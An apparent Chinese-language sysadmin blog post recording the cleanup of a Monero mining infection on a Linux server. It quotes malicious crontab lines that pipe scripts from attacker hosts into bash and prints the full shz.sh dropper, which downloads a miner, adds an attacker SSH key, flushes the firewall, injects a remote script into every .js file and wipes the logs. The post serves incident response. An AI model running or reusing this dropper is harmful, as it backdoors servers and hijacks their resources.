zigw 和 nanoWatch， libudev.so 和 XMR 挖矿程序查杀记录
最近这两天以来，服务器一致声音很响。本来以为有同事在运行大的程序，结果后来发现持续很长时间都是这样，并没有停的样子。后来查了一下，发现有几个可疑进程导致，干掉之后，果然服务器静悄悄了。
但是，问题并没有结束，过了一会儿，服务器又开始轰鸣了，查找了一下，这里简单记录一下。
1.查看top结果，可见如下情况：
top - :: up days, :, users, load average: 80.62, 78.60, 77.78
Tasks: total, running, sleeping, stopped, zombie
%Cpu(s): 99.9 us, 0.1 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 24.4/ [|||||||||||||||||||||||| ]
KiB Swap: 0.0/ [ ] PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
root S 0.1 : zigw
root S 0.1 : zigw
root S 71.2 0.1 : nanoWatch
root .2g S 9.9 0.8 :18.52 java
root .4g .1g S 2.9 9.8 :47.69 java
root .0g .3g S 0.6 3.6 :20.14 java
root S 0.3 0.0 :07.89 rcu_sched
root S 0.3 0.0 :28.42 systemd-logind
root S 0.3 0.0 :00.10 sshd
root R 0.3 0.0 :00.19 top
root S 0.3 0.0 :00.01 zlqcduxya
root S 0.3 0.0 :00.01 ckrdxxjp
root .4g .1g S 0.3 1.8 :50.70 java
root .2g S 0.3 1.4 :00.42 java
mysql S 0.3 0.6 :00.93 mysqld
通过上图，可以看到其中存在3个使用率高的，还有3个僵尸进程。
而这里的 3 zombie ，这三个 zombie就是僵尸进程。
杀掉僵尸进程的办法：
//先查看具体进程
#ps -A -o stat,ppid,pid,cmd |grep -e "^[Zz]" //杀死z进程（这些动作略危险，在生产环境的服务器注意一下）
#kill - pid号
[root@localhost bin]# ps -A -o stat,ppid,pid,cmd |grep -e "^[Zz]" Zs [sh] <defunct> 您在 /var/spool/mail/root 中有新邮件 [root@localhost bin]# pwdx : / : 没有那个进程
当然，
假若你的z进程比较多，可以编写个小小的脚本，下面是参与网上的
#ps -A -o stat,ppid,pid,cmd | grep -e '^[Zz]' | awk '{print $2}' | xargs kill -9
查找crontab，并修改清除定时任务
[root@localhost ~]# cat /etc/crontab SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root # For details see man crontabs # Example of job definition:
# .---------------- minute ( - )
# | .------------- hour ( - )
# | | .---------- day of month ( - )
# | | | .------- month ( - ) OR jan,feb,mar,apr ...
# | | | | .---- day of week ( - ) (Sunday= or ) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed */ * * * * root /etc/cron.hourly/gcc.sh
crontab -e 看到的内容：
REDIS0006þ^@^@^EBack2@I
*/ * * * * wget -O .cmd http://c.21-2n.com:43768/shz.sh && bash .cmd
^@^GweaponZ@E
*/ * * * * wget -q -O- https://master.minerxmr.ru/start.jpg | bash
^@^GweaponX@D
*/ * * * * curl -fsSL https://master.minerxmr.ru/start.jpg | bash
^@^EBack3?
*/ * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh
^@^EBack1=
* * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh
ÿª^K&à[§^\
"/tmp/crontab.w3M9PL" [noeol][converted] 11L, 406C
查看/etc/shz.sh 文件都在做什么
病毒特征
第二种病毒是门罗币（XMR）挖矿程序，门罗币似乎是今年年初涨得很快，所以用病毒入侵挖矿的手法也就出现了，病毒主要是通过下载脚本，运行后下载并启动挖矿程序来工作，脚本的内容如下，关于脚本的代码分析见于：XMR恶意挖矿案例简析，里面讲的非常详细。
# cat /etc/shz.sh
#!/bin/sh
setenforce >dev/null
echo SELINUX=desabled > /etc/sysconfig/selinux >/dev/null
sync && echo >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo > /etc/gmbpr2
rtdir="/etc/gmbpr2"
oddir="/etc/gmbpr"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/url"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/get"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/curl /usr/bin/url
if [ -f "$oddir" ]
then
pkill zjgw
chattr -i /etc/shz.sh
rm -f /etc/shz.sh
chattr -i /tmp/shz.sh
rm -f /tmp/shz.sh
chattr -i /etc/gmbpr
rm -f /etc/gmbpr
else
echo "ok"
fi
if [ -f "$rtdir" ]
then
echo "goto 1" >> /etc/gmbpr2
grep -q "46j2h" /etc/config.json
if [ $? -eq ];
then
echo "config ok"
else
chattr -i /etc/config.json
rm -f /etc/config.json
fi
chattr -i $cont
if [ -f "$bbdir" ]
then
[[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
else
[[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
fi
[[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod /root/.ssh/
[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys
[[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod root/.ssh/authorized_keys
[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys
ps -fe|grep zigw |grep -v grep
if [ $? -ne ]
then
cd /etc
outip=`url icanhazip.com`
ip=`echo ${outip//./o}`
if [ -z "$ip" ]; then
outip=`curl icanhazip.com`
ip=`echo ${outip//./o}`
fi
if [ -z "$ip" ]; then
ip="unknow"
fi
filesize=`ls -l zigw | awk '{ print $5 }'`
cfg="/etc/config.json"
file="/etc/zigw"
if [ -f "$cfg" ]
then
echo "exists config"
else
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://140.143.35.89:43768/config.json > /etc/config.json
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://140.143.35.89:43768/config.json > /etc/config.json
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /etc http://140.143.35.89:43768/config.json
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /etc http://140.143.35.89:43768/config.json
fi
fi
if [ -f "$file" ]
then
if [ "$filesize" -ne "" ]
then
chattr -i /etc/zigw
rm -f zigw
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
fi
fi
else
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
fi
fi
chmod zigw
sed -i "s/unknow/${ip}/g" config.json
sleep 5s
./zigw
else
echo "runing....."
fi
chmod /etc/zigw
chattr +i /etc/zigw
chmod /etc/shz.sh
chattr +i /etc/shz.sh
shdir='/etc/shz.sh'
if [ -f "$shdir" ]
then
echo "exists shell"
else
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://140.143.35.89:43768/shz.sh > /etc/shz.sh
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://140.143.35.89:43768/shz.sh > /etc/shz.sh
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /etc http://140.143.35.89:43768/shz.sh
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /etc http://140.143.35.89:43768/shz.sh
fi
sh /etc/shz.sh
fi
else
echo "goto 1" > /tmp/gmbpr2
chattr -i $cont
[[ $cont =~ "shz.sh" ]] || echo "* * * * * sh /tmp/shz.sh >/dev/null 2>&1" >> ${crondir}
ps -fe|grep zigw |grep -v grep
if [ $? -ne ]
then
cd /tmp
outip=`url icanhazip.com`
ip=`echo ${outip//./o}`
if [ -z "$ip" ]; then
outip=`curl icanhazip.com`
ip=`echo ${outip//./o}`
fi
if [ -z "$ip" ]; then
ip="unknow"
fi
filesize=`ls -l zigw | awk '{ print $5 }'`
cfg="/tmp/config.json"
file="/tmp/zigw"
if [ -f "$cfg" ]
then
echo "exists config"
else
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://140.143.35.89:43768/config.json > /tmp/config.json
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://140.143.35.89:43768/config.json > /tmp/config.json
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /tmp http://140.143.35.89:43768/config.json
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /tmp http://140.143.35.89:43768/config.json
fi
fi
if [ -f "$file" ]
then
if [ "$filesize" -ne "" ]
then
chattr -i /tmp/zigw
rm -f zigw
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
fi
fi
else
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
fi
fi
chmod zigw
sed -i "s/unknow/${ip}/g" config.json
sleep 5s
./zigw
else
echo "runing....."
fi
chmod /tmp/zigw
chattr +i /tmp/zigw
chmod /tmp/shz.sh
chattr +i /tmp/shz.sh
shdir='/tmp/shz.sh'
if [ -f "$shdir" ]
then
echo "exists shell"
else
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://140.143.35.89:43768/shz.sh > /tmp/shz.sh
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://140.143.35.89:43768/shz.sh > /tmp/shz.sh
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /tmp http://140.143.35.89:43768/shz.sh
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /tmp http://140.143.35.89:43768/shz.sh
fi
sh /tmp/shz.sh
fi
fi
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport -j DROP
iptables -A OUTPUT -p tcp --dport -j DROP
iptables -A OUTPUT -p tcp --dport -j DROP
iptables -A OUTPUT -p tcp --dport -j DROP
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -
find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history
注意这两个地址：
http://c.21-2n.com:43768
http://t.cn/EvlonFh
再查了一下，看V2EX上有人在4小时之前，也遇到这个问题了。（参考：https://www.v2ex.com/t/511857）
检查 /root/.ssh/authorized_keys ，看有没有一些奇怪的公钥：
[root@localhost ~]# cat /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me
参考：https://www.cnblogs.com/Rebybyx/p/9913779.html
查看/usr/bin下的文件：
[root@localhost bin]# cat fntmpqdsjxky.sh
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
cp "/usr/bin/fntmpqdsjxky" "/usr/bin/dhgeytmsrf"
"/usr/bin/dhgeytmsrf"
查看/tmp
[root@localhost tmp]# ls -la
总用量
drwxrwxrwt. root root 11月 : .
dr-xr-xr-x. root root 11月 : ..
drwx------ root root 11月 : .esd-
drwxrwxrwt. root root 10月 : .font-unix
drwxr-xr-x root root 11月 : hsperfdata_root
drwxrwxrwt. root root 11月 : .ICE-unix
-rwxrwxrwx root root 11月 : nanoWatch
drwxr-xr-x root root 11月 : NGINX
drwxr-xr-x root root 11月 : soft
drwx------ root root 11月 : systemd-private-608487cde1ba4c3aaf4c6aaa08e00275-mariadb.service-QeGg1y
drwx------ root root 11月 : systemd-private-c0fb9c6305d7414cbabf5c6cabc16150-chronyd.service-5PnKzn
drwx------ root root 11月 : systemd-private-c0fb9c6305d7414cbabf5c6cabc16150-colord.service-EwMvPf
drwx------ root root 11月 : systemd-private-c0fb9c6305d7414cbabf5c6cabc16150-cups.service-WvZk2h
drwxrwxrwt. root root 10月 : .Test-unix
drwx------ root root 11月 : tracker-extract-files.
drwxrwxrwt. root root 11月 : .X11-unix
drwxrwxrwt. root root 10月 : .XIM-unix
查看 /var/spool/mail/root
[root@localhost bin]# cat /var/spool/mail/root From root@localhost.localdomain Tue Nov ::
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid )
id 6708B1F004E; Tue, Nov :: + (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> wget -O .cmd http://c.21-2n.com:43768/shz.sh && bash .cmd
Content-Type: text/plain; charset=UTF-
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/>
X-Cron-Env: <LANG=en_US.UTF->
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <.6708B1F004E@localhost.localdomain>
Date: Tue, Nov :: + (CST) /bin/sh: wget: command not found From root@localhost.localdomain Tue Nov ::
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid )
id 675F897CA9; Tue, Nov :: + (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> curl -fsSL https://master.minerxmr.ru/start.jpg | bash
Content-Type: text/plain; charset=UTF-
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/>
X-Cron-Env: <LANG=en_US.UTF->
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <.675F897CA9@localhost.localdomain>
Date: Tue, Nov :: + (CST) /bin/sh: curl: command not found From root@localhost.localdomain Tue Nov ::
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid )
id 6A2A297CA9; Tue, Nov :: + (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh
Content-Type: text/plain; charset=UTF-
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/>
X-Cron-Env: <LANG=en_US.UTF->
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <.6A2A297CA9@localhost.localdomain>
Date: Tue, Nov :: + (CST) /bin/sh: curl: command not found From root@localhost.localdomain Tue Nov ::
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid )
id 74A7F97CA9; Tue, Nov :: + (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh
Content-Type: text/plain; charset=UTF-
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/>
X-Cron-Env: <LANG=en_US.UTF->
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <.74A7F97CA9@localhost.localdomain>
Date: Tue, Nov :: + (CST) /bin/sh: curl: command not found From root@localhost.localdomain Tue Nov ::
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid )
id 814EF1F0063; Tue, Nov :: + (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh
Content-Type: text/plain; charset=UTF-
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/>
X-Cron-Env: <LANG=en_US.UTF->
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <.814EF1F0063@localhost.localdomain>
Date: Tue, Nov :: + (CST) /bin/sh: curl: command not found From root@localhost.localdomain Tue Nov ::
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid )
id 81BF11F0064; Tue, Nov :: + (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> wget -q -O- https://master.minerxmr.ru/start.jpg | bash
Content-Type: text/plain; charset=UTF-
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/>
X-Cron-Env: <LANG=en_US.UTF->
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <.81BF11F0064@localhost.localdomain>
Date: Tue, Nov :: + (CST) /bin/sh: wget: command not found From root@localhost.localdomain Tue Nov ::
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid )
id 8DF5C1F0064; Tue, Nov :: + (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh
Content-Type: text/plain; charset=UTF-
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/>
X-Cron-Env: <LANG=en_US.UTF->
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <.8DF5C1F0064@localhost.localdomain>
Date: Tue, Nov :: + (CST) /bin/sh: curl: command not found From root@localhost.localdomain Tue Nov ::
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid )
id 9A9681F0064; Tue, Nov :: + (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh
Content-Type: text/plain; charset=UTF-
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/>
X-Cron-Env: <LANG=en_US.UTF->
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <.9A9681F0064@localhost.localdomain>
Date: Tue, Nov :: + (CST) /bin/sh: curl: command not found From root@localhost.localdomain Tue Nov ::
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid )
id A6C171F0064; Tue, Nov :: + (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> /etc/cron.hourly/gcc.sh
Content-Type: text/plain; charset=UTF-
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/>
X-Cron-Env: <LANG=en_US.UTF->
X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <PATH=/sbin:/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <.A6C171F0064@localhost.localdomain>
Date: Tue, Nov :: + (CST) /bin/bash: /etc/cron.hourly/gcc.sh: No such file or directory From root@localhost.localdomain Tue Nov ::
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid )
id A6F4C1F0065; Tue, Nov :: + (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> curl -fsSL https://master.minerxmr.ru/start.jpg | bash
Content-Type: text/plain; charset=UTF-
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/>
X-Cron-Env: <LANG=en_US.UTF->
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <.A6F4C1F0065@localhost.localdomain>
Date: Tue, Nov :: + (CST) /bin/sh: curl: command not found From root@localhost.localdomain Tue Nov ::
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid )
id A718997CA9; Tue, Nov :: + (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh
Content-Type: text/plain; charset=UTF-
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/>
X-Cron-Env: <LANG=en_US.UTF->
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <.A718997CA9@localhost.localdomain>
Date: Tue, Nov :: + (CST) /bin/sh: curl: command not found From root@localhost.localdomain Tue Nov ::
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid )
id A73CA97CB1; Tue, Nov :: + (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> wget -O .cmd http://c.21-2n.com:43768/shz.sh && bash .cmd
Content-Type: text/plain; charset=UTF-
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/>
X-Cron-Env: <LANG=en_US.UTF->
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <.A73CA97CB1@localhost.localdomain>
Date: Tue, Nov :: + (CST) /bin/sh: wget: command not found From root@localhost.localdomain Tue Nov ::
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid )
id B35241F0064; Tue, Nov :: + (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh
Content-Type: text/plain; charset=UTF-
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/>
X-Cron-Env: <LANG=en_US.UTF->
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <.B35241F0064@localhost.localdomain>
Date: Tue, Nov :: + (CST) /bin/sh: curl: command not found From root@localhost.localdomain Tue Nov ::
Return-Path: <root@localhost.localdomain>
X-Original-To: root
Delivered-To: root@localhost.localdomain
Received: by localhost.localdomain (Postfix, from userid )
id BDC651F0064; Tue, Nov :: + (CST)
From: "(Cron Daemon)" <root@localhost.localdomain>
To: root@localhost.localdomain
Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh
Content-Type: text/plain; charset=UTF-
Auto-Submitted: auto-generated
Precedence: bulk
X-Cron-Env: <XDG_SESSION_ID=>
X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/>
X-Cron-Env: <LANG=en_US.UTF->
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <.BDC651F0064@localhost.localdomain>
Date: Tue, Nov :: + (CST) /bin/sh: curl: command not found
基本的修复办法：
在/etc或/tmp下创建shz.sh和zigw文件，并设置了特殊权限，此次发现是在/etc中；同时会创建ssh免密登录的密钥。杀掉进程、修改权限并删除该文件。
# rm -rf ~/.ssh
# ps -aux | grep zigw
# kill - <进程号>
# ps -aux | grep shz
# kill - <进程号>
# chattr -i /etc/shz.sh /etc/zigw
